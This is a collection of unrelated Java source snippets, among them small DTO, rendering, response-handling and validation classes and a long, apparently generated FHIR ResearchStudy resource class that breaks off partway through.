Objects.equals(this.offset, referenceBases.offset) &&
Objects.equals(this.sequence, referenceBases.sequence);
}
@Override
public int hashCode() {
return Objects.hash(nextPageToken, offset, sequence);
}
@Override
public String toString() {
StringBuilder sb = new StringBuilder();
sb.append("class ReferenceBases {\n");
sb.append(" nextPageToken: ").append(toIndentedString(nextPageToken)).append("\n");
sb.append(" offset: ").append(toIndentedString(offset)).append("\n");
sb.append(" sequence: ").append(toIndentedString(sequence)).append("\n");
sb.append("}");
return sb.toString();
}
/**
* Convert the given object to string with each line indented by 4 spaces
* (except the first line).
*/
private String toIndentedString(java.lang.Object o) {
if (o == null) {
return "null";
}
return o.toString().replace("\n", "\n ");
}
}
|
Java
|
public class CoordinatesDto {
private final File coordinatesFile;
private final XyzFile xyzFile;
public CoordinatesDto(XyzFile xyzFile) {
this.coordinatesFile = xyzFile.getSource();
this.xyzFile = xyzFile;
}
public CoordinatesDto(File coordinatesFile) {
this.xyzFile = null;
this.coordinatesFile = coordinatesFile;
}
public File getCoordinatesFile() {
return coordinatesFile;
}
public XyzFile getXyzFile() {
return xyzFile;
}
}
|
Java
|
public class FrustumAxes extends Line3D {
private static final float BOTTOM_RATIO = 0.9f;
private static final float FRUSTUM_WIDTH = 0.37f * BOTTOM_RATIO;
private static final float FRUSTUM_HEIGHT = 0.25f * BOTTOM_RATIO;
private static final float FRUSTUM_DEPTH = 0.45f;
public FrustumAxes(float thickness) {
super(makePoints(), thickness, makeColors());
Material material = new Material();
material.useVertexColors(true);
setMaterial(material);
}
private static Stack<Vector3> makePoints() {
Vector3 o = new Vector3(0, 0, 0);
Vector3 a = new Vector3(-FRUSTUM_WIDTH / 2f, FRUSTUM_HEIGHT / 2f, -FRUSTUM_DEPTH);
Vector3 b = new Vector3(FRUSTUM_WIDTH / 2f, FRUSTUM_HEIGHT / 2f, -FRUSTUM_DEPTH);
Vector3 c = new Vector3(FRUSTUM_WIDTH / 2f, -FRUSTUM_HEIGHT / 2f, -FRUSTUM_DEPTH);
Vector3 d = new Vector3(-FRUSTUM_WIDTH / 2f, -FRUSTUM_HEIGHT / 2f, -FRUSTUM_DEPTH);
Vector3 x = new Vector3(1, 0, 0);
Vector3 y = new Vector3(0, 1, 0);
Vector3 z = new Vector3(0, 0, 1);
Stack<Vector3> points = new Stack<Vector3>();
// Collections.addAll(points, o, x, o, y, o, z, o, a, b, o, b, c, o, c, d, o, d, a);
Collections.addAll(points, a, b, b, c, c, d, d, a);
return points;
}
private static int[] makeColors() {
int[] colors = new int[8];
Arrays.fill(colors, Color.WHITE);
// colors[0] = Color.RED;
// colors[1] = Color.RED;
// colors[2] = Color.GREEN;
// colors[3] = Color.GREEN;
// colors[4] = Color.BLUE;
// colors[5] = Color.BLUE;
return colors;
}
}
|
Java
|
public class ResponseHandler {
private ResponseHandler(){
}
public static Response sendErrorResponse(int errorCode, String errorMessage, HttpServletResponse servletResponse){
Response response = new Response();
servletResponse.setStatus(errorCode);
response.setMessage(errorMessage);
response.setResponseType(ResponseType.ERROR);
return response;
}
public static Response sendSuccessResponse(String message, HttpServletResponse servletResponse){
Response response = new Response();
servletResponse.setStatus(HttpServletResponse.SC_OK);
response.setMessage(message);
response.setResponseType(ResponseType.SUCCESS);
return response;
}
}
|
Java
|
public class ValidationError {
private final String message;
public ValidationError(String file, String message) {
this(file + ": " + message);
}
public ValidationError(String file, int line, String message) {
this(file + ":" + line + ": " + message);
}
public ValidationError(String message) {
this.message = message;
}
public String getMessage() {
return message;
}
@Override
public String toString() {
return "ValidationError[" + message + "]";
}
public interface Sink {
void error(ValidationError error);
}
public static Sink createLoggerSink(String message, Logger log) {
return error -> log.error(message + error.getMessage());
}
@Override
public boolean equals(Object o) {
if (o == this) {
return true;
}
if (o instanceof ValidationError) {
ValidationError that = (ValidationError) o;
return Objects.equals(this.message, that.message);
}
return false;
}
@Override
public int hashCode() {
return Objects.hashCode(message);
}
}
|
Java
|
@ResourceDef(name="ResearchStudy", profile="http://hl7.org/fhir/Profile/ResearchStudy")
public class ResearchStudy extends DomainResource {
public enum ResearchStudyStatus {
/**
* The study is undergoing design but the process of selecting study subjects and capturing data has not yet begun.
*/
DRAFT,
/**
* The study is currently being executed
*/
INPROGRESS,
/**
* Execution of the study has been temporarily paused
*/
SUSPENDED,
/**
* The study was terminated prior to the final determination of results
*/
STOPPED,
/**
* The information sought by the study has been gathered and compiled and no further work is being performed
*/
COMPLETED,
/**
* This study never actually existed. The record is retained for tracking purposes in the event decisions may have been made based on this erroneous information.
*/
ENTEREDINERROR,
/**
* added to help the parsers with the generic types
*/
NULL;
public static ResearchStudyStatus fromCode(String codeString) throws FHIRException {
if (codeString == null || "".equals(codeString))
return null;
if ("draft".equals(codeString))
return DRAFT;
if ("in-progress".equals(codeString))
return INPROGRESS;
if ("suspended".equals(codeString))
return SUSPENDED;
if ("stopped".equals(codeString))
return STOPPED;
if ("completed".equals(codeString))
return COMPLETED;
if ("entered-in-error".equals(codeString))
return ENTEREDINERROR;
if (Configuration.isAcceptInvalidEnums())
return null;
else
throw new FHIRException("Unknown ResearchStudyStatus code '"+codeString+"'");
}
public String toCode() {
switch (this) {
case DRAFT: return "draft";
case INPROGRESS: return "in-progress";
case SUSPENDED: return "suspended";
case STOPPED: return "stopped";
case COMPLETED: return "completed";
case ENTEREDINERROR: return "entered-in-error";
default: return "?";
}
}
public String getSystem() {
switch (this) {
case DRAFT: return "http://hl7.org/fhir/research-study-status";
case INPROGRESS: return "http://hl7.org/fhir/research-study-status";
case SUSPENDED: return "http://hl7.org/fhir/research-study-status";
case STOPPED: return "http://hl7.org/fhir/research-study-status";
case COMPLETED: return "http://hl7.org/fhir/research-study-status";
case ENTEREDINERROR: return "http://hl7.org/fhir/research-study-status";
default: return "?";
}
}
public String getDefinition() {
switch (this) {
case DRAFT: return "The study is undergoing design but the process of selecting study subjects and capturing data has not yet begun.";
case INPROGRESS: return "The study is currently being executed";
case SUSPENDED: return "Execution of the study has been temporarily paused";
case STOPPED: return "The study was terminated prior to the final determination of results";
case COMPLETED: return "The information sought by the study has been gathered and compiled and no further work is being performed";
case ENTEREDINERROR: return "This study never actually existed. The record is retained for tracking purposes in the event decisions may have been made based on this erroneous information.";
default: return "?";
}
}
public String getDisplay() {
switch (this) {
case DRAFT: return "Draft";
case INPROGRESS: return "In-progress";
case SUSPENDED: return "Suspended";
case STOPPED: return "Stopped";
case COMPLETED: return "Completed";
case ENTEREDINERROR: return "Entered in error";
default: return "?";
}
}
}
public static class ResearchStudyStatusEnumFactory implements EnumFactory<ResearchStudyStatus> {
public ResearchStudyStatus fromCode(String codeString) throws IllegalArgumentException {
if (codeString == null || "".equals(codeString))
if (codeString == null || "".equals(codeString))
return null;
if ("draft".equals(codeString))
return ResearchStudyStatus.DRAFT;
if ("in-progress".equals(codeString))
return ResearchStudyStatus.INPROGRESS;
if ("suspended".equals(codeString))
return ResearchStudyStatus.SUSPENDED;
if ("stopped".equals(codeString))
return ResearchStudyStatus.STOPPED;
if ("completed".equals(codeString))
return ResearchStudyStatus.COMPLETED;
if ("entered-in-error".equals(codeString))
return ResearchStudyStatus.ENTEREDINERROR;
throw new IllegalArgumentException("Unknown ResearchStudyStatus code '"+codeString+"'");
}
public Enumeration<ResearchStudyStatus> fromType(Base code) throws FHIRException {
if (code == null)
return null;
if (code.isEmpty())
return new Enumeration<ResearchStudyStatus>(this);
String codeString = ((PrimitiveType) code).asStringValue();
if (codeString == null || "".equals(codeString))
return null;
if ("draft".equals(codeString))
return new Enumeration<ResearchStudyStatus>(this, ResearchStudyStatus.DRAFT);
if ("in-progress".equals(codeString))
return new Enumeration<ResearchStudyStatus>(this, ResearchStudyStatus.INPROGRESS);
if ("suspended".equals(codeString))
return new Enumeration<ResearchStudyStatus>(this, ResearchStudyStatus.SUSPENDED);
if ("stopped".equals(codeString))
return new Enumeration<ResearchStudyStatus>(this, ResearchStudyStatus.STOPPED);
if ("completed".equals(codeString))
return new Enumeration<ResearchStudyStatus>(this, ResearchStudyStatus.COMPLETED);
if ("entered-in-error".equals(codeString))
return new Enumeration<ResearchStudyStatus>(this, ResearchStudyStatus.ENTEREDINERROR);
throw new FHIRException("Unknown ResearchStudyStatus code '"+codeString+"'");
}
public String toCode(ResearchStudyStatus code) {
if (code == ResearchStudyStatus.DRAFT)
return "draft";
if (code == ResearchStudyStatus.INPROGRESS)
return "in-progress";
if (code == ResearchStudyStatus.SUSPENDED)
return "suspended";
if (code == ResearchStudyStatus.STOPPED)
return "stopped";
if (code == ResearchStudyStatus.COMPLETED)
return "completed";
if (code == ResearchStudyStatus.ENTEREDINERROR)
return "entered-in-error";
return "?";
}
public String toSystem(ResearchStudyStatus code) {
return code.getSystem();
}
}
@Block()
public static class ResearchStudyArmComponent extends BackboneElement implements IBaseBackboneElement {
/**
* Unique, human-readable label for this arm of the study.
*/
@Child(name = "name", type = {StringType.class}, order=1, min=1, max=1, modifier=false, summary=false)
@Description(shortDefinition="Label for study arm", formalDefinition="Unique, human-readable label for this arm of the study." )
protected StringType name;
/**
* Categorization of study arm, e.g. experimental, active comparator, placebo comparater.
*/
@Child(name = "code", type = {CodeableConcept.class}, order=2, min=0, max=1, modifier=false, summary=false)
@Description(shortDefinition="Categorization of study arm", formalDefinition="Categorization of study arm, e.g. experimental, active comparator, placebo comparater." )
protected CodeableConcept code;
/**
* A succinct description of the path through the study that would be followed by a subject adhering to this arm.
*/
@Child(name = "description", type = {StringType.class}, order=3, min=0, max=1, modifier=false, summary=false)
@Description(shortDefinition="Short explanation of study path", formalDefinition="A succinct description of the path through the study that would be followed by a subject adhering to this arm." )
protected StringType description;
private static final long serialVersionUID = 1433183343L;
/**
* Constructor
*/
public ResearchStudyArmComponent() {
super();
}
/**
* Constructor
*/
public ResearchStudyArmComponent(StringType name) {
super();
this.name = name;
}
/**
* @return {@link #name} (Unique, human-readable label for this arm of the study.). This is the underlying object with id, value and extensions. The accessor "getName" gives direct access to the value
*/
public StringType getNameElement() {
if (this.name == null)
if (Configuration.errorOnAutoCreate())
throw new Error("Attempt to auto-create ResearchStudyArmComponent.name");
else if (Configuration.doAutoCreate())
this.name = new StringType(); // bb
return this.name;
}
public boolean hasNameElement() {
return this.name != null && !this.name.isEmpty();
}
public boolean hasName() {
return this.name != null && !this.name.isEmpty();
}
/**
* @param value {@link #name} (Unique, human-readable label for this arm of the study.). This is the underlying object with id, value and extensions. The accessor "getName" gives direct access to the value
*/
public ResearchStudyArmComponent setNameElement(StringType value) {
this.name = value;
return this;
}
/**
* @return Unique, human-readable label for this arm of the study.
*/
public String getName() {
return this.name == null ? null : this.name.getValue();
}
/**
* @param value Unique, human-readable label for this arm of the study.
*/
public ResearchStudyArmComponent setName(String value) {
if (this.name == null)
this.name = new StringType();
this.name.setValue(value);
return this;
}
/**
* @return {@link #code} (Categorization of study arm, e.g. experimental, active comparator, placebo comparater.)
*/
public CodeableConcept getCode() {
if (this.code == null)
if (Configuration.errorOnAutoCreate())
throw new Error("Attempt to auto-create ResearchStudyArmComponent.code");
else if (Configuration.doAutoCreate())
this.code = new CodeableConcept(); // cc
return this.code;
}
public boolean hasCode() {
return this.code != null && !this.code.isEmpty();
}
/**
* @param value {@link #code} (Categorization of study arm, e.g. experimental, active comparator, placebo comparater.)
*/
public ResearchStudyArmComponent setCode(CodeableConcept value) {
this.code = value;
return this;
}
/**
* @return {@link #description} (A succinct description of the path through the study that would be followed by a subject adhering to this arm.). This is the underlying object with id, value and extensions. The accessor "getDescription" gives direct access to the value
*/
public StringType getDescriptionElement() {
if (this.description == null)
if (Configuration.errorOnAutoCreate())
throw new Error("Attempt to auto-create ResearchStudyArmComponent.description");
else if (Configuration.doAutoCreate())
this.description = new StringType(); // bb
return this.description;
}
public boolean hasDescriptionElement() {
return this.description != null && !this.description.isEmpty();
}
public boolean hasDescription() {
return this.description != null && !this.description.isEmpty();
}
/**
* @param value {@link #description} (A succinct description of the path through the study that would be followed by a subject adhering to this arm.). This is the underlying object with id, value and extensions. The accessor "getDescription" gives direct access to the value
*/
public ResearchStudyArmComponent setDescriptionElement(StringType value) {
this.description = value;
return this;
}
/**
* @return A succinct description of the path through the study that would be followed by a subject adhering to this arm.
*/
public String getDescription() {
return this.description == null ? null : this.description.getValue();
}
/**
* @param value A succinct description of the path through the study that would be followed by a subject adhering to this arm.
*/
public ResearchStudyArmComponent setDescription(String value) {
if (Utilities.noString(value))
this.description = null;
else {
if (this.description == null)
this.description = new StringType();
this.description.setValue(value);
}
return this;
}
protected void listChildren(List<Property> children) {
super.listChildren(children);
children.add(new Property("name", "string", "Unique, human-readable label for this arm of the study.", 0, 1, name));
children.add(new Property("code", "CodeableConcept", "Categorization of study arm, e.g. experimental, active comparator, placebo comparater.", 0, 1, code));
children.add(new Property("description", "string", "A succinct description of the path through the study that would be followed by a subject adhering to this arm.", 0, 1, description));
}
@Override
public Property getNamedProperty(int _hash, String _name, boolean _checkValid) throws FHIRException {
switch (_hash) {
case 3373707: /*name*/ return new Property("name", "string", "Unique, human-readable label for this arm of the study.", 0, 1, name);
case 3059181: /*code*/ return new Property("code", "CodeableConcept", "Categorization of study arm, e.g. experimental, active comparator, placebo comparater.", 0, 1, code);
case -1724546052: /*description*/ return new Property("description", "string", "A succinct description of the path through the study that would be followed by a subject adhering to this arm.", 0, 1, description);
default: return super.getNamedProperty(_hash, _name, _checkValid);
}
}
@Override
public Base[] getProperty(int hash, String name, boolean checkValid) throws FHIRException {
switch (hash) {
case 3373707: /*name*/ return this.name == null ? new Base[0] : new Base[] {this.name}; // StringType
case 3059181: /*code*/ return this.code == null ? new Base[0] : new Base[] {this.code}; // CodeableConcept
case -1724546052: /*description*/ return this.description == null ? new Base[0] : new Base[] {this.description}; // StringType
default: return super.getProperty(hash, name, checkValid);
}
}
@Override
public Base setProperty(int hash, String name, Base value) throws FHIRException {
switch (hash) {
case 3373707: // name
this.name = castToString(value); // StringType
return value;
case 3059181: // code
this.code = castToCodeableConcept(value); // CodeableConcept
return value;
case -1724546052: // description
this.description = castToString(value); // StringType
return value;
default: return super.setProperty(hash, name, value);
}
}
@Override
public Base setProperty(String name, Base value) throws FHIRException {
if (name.equals("name")) {
this.name = castToString(value); // StringType
} else if (name.equals("code")) {
this.code = castToCodeableConcept(value); // CodeableConcept
} else if (name.equals("description")) {
this.description = castToString(value); // StringType
} else
return super.setProperty(name, value);
return value;
}
@Override
public Base makeProperty(int hash, String name) throws FHIRException {
switch (hash) {
case 3373707: return getNameElement();
case 3059181: return getCode();
case -1724546052: return getDescriptionElement();
default: return super.makeProperty(hash, name);
}
}
@Override
public String[] getTypesForProperty(int hash, String name) throws FHIRException {
switch (hash) {
case 3373707: /*name*/ return new String[] {"string"};
case 3059181: /*code*/ return new String[] {"CodeableConcept"};
case -1724546052: /*description*/ return new String[] {"string"};
default: return super.getTypesForProperty(hash, name);
}
}
@Override
public Base addChild(String name) throws FHIRException {
if (name.equals("name")) {
throw new FHIRException("Cannot call addChild on a primitive type ResearchStudy.name");
}
else if (name.equals("code")) {
this.code = new CodeableConcept();
return this.code;
}
else if (name.equals("description")) {
throw new FHIRException("Cannot call addChild on a primitive type ResearchStudy.description");
}
else
return super.addChild(name);
}
public ResearchStudyArmComponent copy() {
ResearchStudyArmComponent dst = new ResearchStudyArmComponent();
copyValues(dst);
dst.name = name == null ? null : name.copy();
dst.code = code == null ? null : code.copy();
dst.description = description == null ? null : description.copy();
return dst;
}
@Override
public boolean equalsDeep(Base other) {
if (!super.equalsDeep(other))
return false;
if (!(other instanceof ResearchStudyArmComponent))
return false;
ResearchStudyArmComponent o = (ResearchStudyArmComponent) other;
return compareDeep(name, o.name, true) && compareDeep(code, o.code, true) && compareDeep(description, o.description, true)
;
}
@Override
public boolean equalsShallow(Base other) {
if (!super.equalsShallow(other))
return false;
if (!(other instanceof ResearchStudyArmComponent))
return false;
ResearchStudyArmComponent o = (ResearchStudyArmComponent) other;
return compareValues(name, o.name, true) && compareValues(description, o.description, true);
}
public boolean isEmpty() {
return super.isEmpty() && ca.uhn.fhir.util.ElementUtil.isEmpty(name, code, description
);
}
public String fhirType() {
return "ResearchStudy.arm";
}
}
/**
* Identifiers assigned to this research study by the sponsor or other systems.
*/
@Child(name = "identifier", type = {Identifier.class}, order=0, min=0, max=Child.MAX_UNLIMITED, modifier=false, summary=true)
@Description(shortDefinition="Business Identifier for study", formalDefinition="Identifiers assigned to this research study by the sponsor or other systems." )
protected List<Identifier> identifier;
/**
* A short, descriptive user-friendly label for the study.
*/
@Child(name = "title", type = {StringType.class}, order=1, min=0, max=1, modifier=false, summary=true)
@Description(shortDefinition="Name for this study", formalDefinition="A short, descriptive user-friendly label for the study." )
protected StringType title;
/**
* The set of steps expected to be performed as part of the execution of the study.
*/
@Child(name = "protocol", type = {PlanDefinition.class}, order=2, min=0, max=Child.MAX_UNLIMITED, modifier=false, summary=true)
@Description(shortDefinition="Steps followed in executing study", formalDefinition="The set of steps expected to be performed as part of the execution of the study." )
protected List<Reference> protocol;
/**
* The actual objects that are the target of the reference (The set of steps expected to be performed as part of the execution of the study.)
*/
protected List<PlanDefinition> protocolTarget;
/**
* A larger research study of which this particular study is a component or step.
*/
@Child(name = "partOf", type = {ResearchStudy.class}, order=3, min=0, max=Child.MAX_UNLIMITED, modifier=false, summary=true)
@Description(shortDefinition="Part of larger study", formalDefinition="A larger research study of which this particular study is a component or step." )
protected List<Reference> partOf;
/**
* The actual objects that are the target of the reference (A larger research study of which this particular study is a component or step.)
*/
protected List<ResearchStudy> partOfTarget;
/**
* The current state of the study.
*/
@Child(name = "status", type = {CodeType.class}, order=4, min=1, max=1, modifier=true, summary=true)
@Description(shortDefinition="draft | in-progress | suspended | stopped | completed | entered-in-error", formalDefinition="The current state of the study." )
@ca.uhn.fhir.model.api.annotation.Binding(valueSet="http://hl7.org/fhir/ValueSet/research-study-status")
protected Enumeration<ResearchStudyStatus> status;
/**
* Codes categorizing the type of study such as investigational vs. observational, type of blinding, type of randomization, safety vs. efficacy, etc.
*/
@Child(name = "category", type = {CodeableConcept.class}, order=5, min=0, max=Child.MAX_UNLIMITED, modifier=false, summary=true)
@Description(shortDefinition="Classifications for the study", formalDefinition="Codes categorizing the type of study such as investigational vs. observational, type of blinding, type of randomization, safety vs. efficacy, etc." )
protected List<CodeableConcept> category;
/**
* The condition(s), medication(s), food(s), therapy(ies), device(s) or other concerns or interventions that the study is seeking to gain more information about.
*/
@Child(name = "focus", type = {CodeableConcept.class}, order=6, min=0, max=Child.MAX_UNLIMITED, modifier=false, summary=true)
@Description(shortDefinition="Drugs, devices, conditions, etc. under study", formalDefinition="The condition(s), medication(s), food(s), therapy(ies), device(s) or other concerns or interventions that the study is seeking to gain more information about." )
protected List<CodeableConcept> focus;
/**
* Contact details to assist a user in learning more about or engaging with the study.
*/
@Child(name = "contact", type = {ContactDetail.class}, order=7, min=0, max=Child.MAX_UNLIMITED, modifier=false, summary=true)
@Description(shortDefinition="Contact details for the study", formalDefinition="Contact details to assist a user in learning more about or engaging with the study." )
protected List<ContactDetail> contact;
/**
* Citations, references and other related documents.
*/
@Child(name = "relatedArtifact", type = {RelatedArtifact.class}, order=8, min=0, max=Child.MAX_UNLIMITED, modifier=false, summary=false)
@Description(shortDefinition="References and dependencies", formalDefinition="Citations, references and other related documents." )
protected List<RelatedArtifact> relatedArtifact;
/**
* Key terms to aid in searching for or filtering the study.
*/
@Child(name = "keyword", type = {CodeableConcept.class}, order=9, min=0, max=Child.MAX_UNLIMITED, modifier=false, summary=true)
@Description(shortDefinition="Used to search for the study", formalDefinition="Key terms to aid in searching for or filtering the study." )
protected List<CodeableConcept> keyword;
/**
* Indicates a country, state or other region where the study is taking place.
*/
@Child(name = "jurisdiction", type = {CodeableConcept.class}, order=10, min=0, max=Child.MAX_UNLIMITED, modifier=false, summary=true)
@Description(shortDefinition="Geographic region(s) for study", formalDefinition="Indicates a country, state or other region where the study is taking place." )
@ca.uhn.fhir.model.api.annotation.Binding(valueSet="http://hl7.org/fhir/ValueSet/jurisdiction")
protected List<CodeableConcept> jurisdiction;
/**
* A full description of how the study is being conducted.
*/
@Child(name = "description", type = {MarkdownType.class}, order=11, min=0, max=1, modifier=false, summary=false)
@Description(shortDefinition="What this is study doing", formalDefinition="A full description of how the study is being conducted." )
protected MarkdownType description;
/**
* Reference to a Group that defines the criteria for and quantity of subjects participating in the study. E.g. " 200 female Europeans between the ages of 20 and 45 with early onset diabetes".
*/
@Child(name = "enrollment", type = {Group.class}, order=12, min=0, max=Child.MAX_UNLIMITED, modifier=false, summary=true)
@Description(shortDefinition="Inclusion & exclusion criteria", formalDefinition="Reference to a Group that defines the criteria for and quantity of subjects participating in the study. E.g. \" 200 female Europeans between the ages of 20 and 45 with early onset diabetes\"." )
protected List<Reference> enrollment;
/**
* The actual objects that are the target of the reference (Reference to a Group that defines the criteria for and quantity of subjects participating in the study. E.g. " 200 female Europeans between the ages of 20 and 45 with early onset diabetes".)
*/
protected List<Group> enrollmentTarget;
/**
* Identifies the start date and the expected (or actual, depending on status) end date for the study.
*/
@Child(name = "period", type = {Period.class}, order=13, min=0, max=1, modifier=false, summary=true)
@Description(shortDefinition="When the study began and ended", formalDefinition="Identifies the start date and the expected (or actual, depending on status) end date for the study." )
protected Period period;
/**
* The organization responsible for the execution of the study.
*/
@Child(name = "sponsor", type = {Organization.class}, order=14, min=0, max=1, modifier=false, summary=true)
@Description(shortDefinition="Organization responsible for the study", formalDefinition="The organization responsible for the execution of the study." )
protected Reference sponsor;
/**
* The actual object that is the target of the reference (The organization responsible for the execution of the study.)
*/
protected Organization sponsorTarget;
/**
* Indicates the individual who has primary oversite of the execution of the study.
*/
@Child(name = "principalInvestigator", type = {Practitioner.class}, order=15, min=0, max=1, modifier=false, summary=true)
@Description(shortDefinition="The individual responsible for the study", formalDefinition="Indicates the individual who has primary oversite of the execution of the study." )
protected Reference principalInvestigator;
/**
* The actual object that is the target of the reference (Indicates the individual who has primary oversite of the execution of the study.)
*/
protected Practitioner principalInvestigatorTarget;
/**
* Clinic, hospital or other healthcare location that is participating in the study.
*/
@Child(name = "site", type = {Location.class}, order=16, min=0, max=Child.MAX_UNLIMITED, modifier=false, summary=true)
@Description(shortDefinition="Location involved in study execution", formalDefinition="Clinic, hospital or other healthcare location that is participating in the study." )
protected List<Reference> site;
/**
* The actual objects that are the target of the reference (Clinic, hospital or other healthcare location that is participating in the study.)
*/
protected List<Location> siteTarget;
/**
* A description and/or code explaining the premature termination of the study.
*/
@Child(name = "reasonStopped", type = {CodeableConcept.class}, order=17, min=0, max=1, modifier=false, summary=true)
@Description(shortDefinition="Reason for terminating study early", formalDefinition="A description and/or code explaining the premature termination of the study." )
protected CodeableConcept reasonStopped;
/**
* Comments made about the event by the performer, subject or other participants.
*/
@Child(name = "note", type = {Annotation.class}, order=18, min=0, max=Child.MAX_UNLIMITED, modifier=false, summary=false)
@Description(shortDefinition="Comments made about the event", formalDefinition="Comments made about the event by the performer, subject or other participants." )
protected List<Annotation> note;
/**
* Describes an expected sequence of events for one of the participants of a study. E.g. Exposure to drug A, wash-out, exposure to drug B, wash-out, follow-up.
*/
@Child(name = "arm", type = {}, order=19, min=0, max=Child.MAX_UNLIMITED, modifier=false, summary=false)
@Description(shortDefinition="Defined path through the study for a subject", formalDefinition="Describes an expected sequence of events for one of the participants of a study. E.g. Exposure to drug A, wash-out, exposure to drug B, wash-out, follow-up." )
protected List<ResearchStudyArmComponent> arm;
private static final long serialVersionUID = -1804662501L;
/**
* Constructor
*/
public ResearchStudy() {
super();
}
/**
* Constructor
*/
public ResearchStudy(Enumeration<ResearchStudyStatus> status) {
super();
this.status = status;
}
/**
* @return {@link #identifier} (Identifiers assigned to this research study by the sponsor or other systems.)
*/
public List<Identifier> getIdentifier() {
if (this.identifier == null)
this.identifier = new ArrayList<Identifier>();
return this.identifier;
}
/**
* @return Returns a reference to <code>this</code> for easy method chaining
*/
public ResearchStudy setIdentifier(List<Identifier> theIdentifier) {
this.identifier = theIdentifier;
return this;
}
public boolean hasIdentifier() {
if (this.identifier == null)
return false;
for (Identifier item : this.identifier)
if (!item.isEmpty())
return true;
return false;
}
public Identifier addIdentifier() { //3
Identifier t = new Identifier();
if (this.identifier == null)
this.identifier = new ArrayList<Identifier>();
this.identifier.add(t);
return t;
}
public ResearchStudy addIdentifier(Identifier t) { //3
if (t == null)
return this;
if (this.identifier == null)
this.identifier = new ArrayList<Identifier>();
this.identifier.add(t);
return this;
}
/**
* @return The first repetition of repeating field {@link #identifier}, creating it if it does not already exist
*/
public Identifier getIdentifierFirstRep() {
if (getIdentifier().isEmpty()) {
addIdentifier();
}
return getIdentifier().get(0);
}
/**
* @return {@link #title} (A short, descriptive user-friendly label for the study.). This is the underlying object with id, value and extensions. The accessor "getTitle" gives direct access to the value
*/
public StringType getTitleElement() {
if (this.title == null)
if (Configuration.errorOnAutoCreate())
throw new Error("Attempt to auto-create ResearchStudy.title");
else if (Configuration.doAutoCreate())
this.title = new StringType(); // bb
return this.title;
}
public boolean hasTitleElement() {
return this.title != null && !this.title.isEmpty();
}
public boolean hasTitle() {
return this.title != null && !this.title.isEmpty();
}
/**
* @param value {@link #title} (A short, descriptive user-friendly label for the study.). This is the underlying object with id, value and extensions. The accessor "getTitle" gives direct access to the value
*/
public ResearchStudy setTitleElement(StringType value) {
this.title = value;
return this;
}
/**
* @return A short, descriptive user-friendly label for the study.
*/
public String getTitle() {
return this.title == null ? null : this.title.getValue();
}
/**
* @param value A short, descriptive user-friendly label for the study.
*/
public ResearchStudy setTitle(String value) {
if (Utilities.noString(value))
this.title = null;
else {
if (this.title == null)
this.title = new StringType();
this.title.setValue(value);
}
return this;
}
/**
* @return {@link #protocol} (The set of steps expected to be performed as part of the execution of the study.)
*/
public List<Reference> getProtocol() {
if (this.protocol == null)
this.protocol = new ArrayList<Reference>();
return this.protocol;
}
/**
* @return Returns a reference to <code>this</code> for easy method chaining
*/
public ResearchStudy setProtocol(List<Reference> theProtocol) {
this.protocol = theProtocol;
return this;
}
public boolean hasProtocol() {
if (this.protocol == null)
return false;
for (Reference item : this.protocol)
if (!item.isEmpty())
return true;
return false;
}
public Reference addProtocol() { //3
Reference t = new Reference();
if (this.protocol == null)
this.protocol = new ArrayList<Reference>();
this.protocol.add(t);
return t;
}
public ResearchStudy addProtocol(Reference t) { //3
if (t == null)
return this;
if (this.protocol == null)
this.protocol = new ArrayList<Reference>();
this.protocol.add(t);
return this;
}
/**
* @return The first repetition of repeating field {@link #protocol}, creating it if it does not already exist
*/
public Reference getProtocolFirstRep() {
if (getProtocol().isEmpty()) {
addProtocol();
}
return getProtocol().get(0);
}
/**
* @deprecated Use Reference#setResource(IBaseResource) instead
*/
@Deprecated
public List<PlanDefinition> getProtocolTarget() {
if (this.protocolTarget == null)
this.protocolTarget = new ArrayList<PlanDefinition>();
return this.protocolTarget;
}
/**
* @deprecated Use Reference#setResource(IBaseResource) instead
*/
@Deprecated
public PlanDefinition addProtocolTarget() {
PlanDefinition r = new PlanDefinition();
if (this.protocolTarget == null)
this.protocolTarget = new ArrayList<PlanDefinition>();
this.protocolTarget.add(r);
return r;
}
/**
* @return {@link #partOf} (A larger research study of which this particular study is a component or step.)
*/
public List<Reference> getPartOf() {
if (this.partOf == null)
this.partOf = new ArrayList<Reference>();
return this.partOf;
}
/**
* @return Returns a reference to <code>this</code> for easy method chaining
*/
public ResearchStudy setPartOf(List<Reference> thePartOf) {
this.partOf = thePartOf;
return this;
}
public boolean hasPartOf() {
if (this.partOf == null)
return false;
for (Reference item : this.partOf)
if (!item.isEmpty())
return true;
return false;
}
public Reference addPartOf() { //3
Reference t = new Reference();
if (this.partOf == null)
this.partOf = new ArrayList<Reference>();
this.partOf.add(t);
return t;
}
public ResearchStudy addPartOf(Reference t) { //3
if (t == null)
return this;
if (this.partOf == null)
this.partOf = new ArrayList<Reference>();
this.partOf.add(t);
return this;
}
/**
* @return The first repetition of repeating field {@link #partOf}, creating it if it does not already exist
*/
public Reference getPartOfFirstRep() {
if (getPartOf().isEmpty()) {
addPartOf();
}
return getPartOf().get(0);
}
/**
* @deprecated Use Reference#setResource(IBaseResource) instead
*/
@Deprecated
public List<ResearchStudy> getPartOfTarget() {
if (this.partOfTarget == null)
this.partOfTarget = new ArrayList<ResearchStudy>();
return this.partOfTarget;
}
/**
* @deprecated Use Reference#setResource(IBaseResource) instead
*/
@Deprecated
public ResearchStudy addPartOfTarget() {
ResearchStudy r = new ResearchStudy();
if (this.partOfTarget == null)
this.partOfTarget = new ArrayList<ResearchStudy>();
this.partOfTarget.add(r);
return r;
}
/**
* @return {@link #status} (The current state of the study.). This is the underlying object with id, value and extensions. The accessor "getStatus" gives direct access to the value
*/
public Enumeration<ResearchStudyStatus> getStatusElement() {
if (this.status == null)
if (Configuration.errorOnAutoCreate())
throw new Error("Attempt to auto-create ResearchStudy.status");
else if (Configuration.doAutoCreate())
this.status = new Enumeration<ResearchStudyStatus>(new ResearchStudyStatusEnumFactory()); // bb
return this.status;
}
public boolean hasStatusElement() {
return this.status != null && !this.status.isEmpty();
}
public boolean hasStatus() {
return this.status != null && !this.status.isEmpty();
}
/**
* @param value {@link #status} (The current state of the study.). This is the underlying object with id, value and extensions. The accessor "getStatus" gives direct access to the value
*/
public ResearchStudy setStatusElement(Enumeration<ResearchStudyStatus> value) {
this.status = value;
return this;
}
/**
* @return The current state of the study.
*/
public ResearchStudyStatus getStatus() {
return this.status == null ? null : this.status.getValue();
}
/**
* @param value The current state of the study.
*/
public ResearchStudy setStatus(ResearchStudyStatus value) {
if (this.status == null)
this.status = new Enumeration<ResearchStudyStatus>(new ResearchStudyStatusEnumFactory());
this.status.setValue(value);
return this;
}
/**
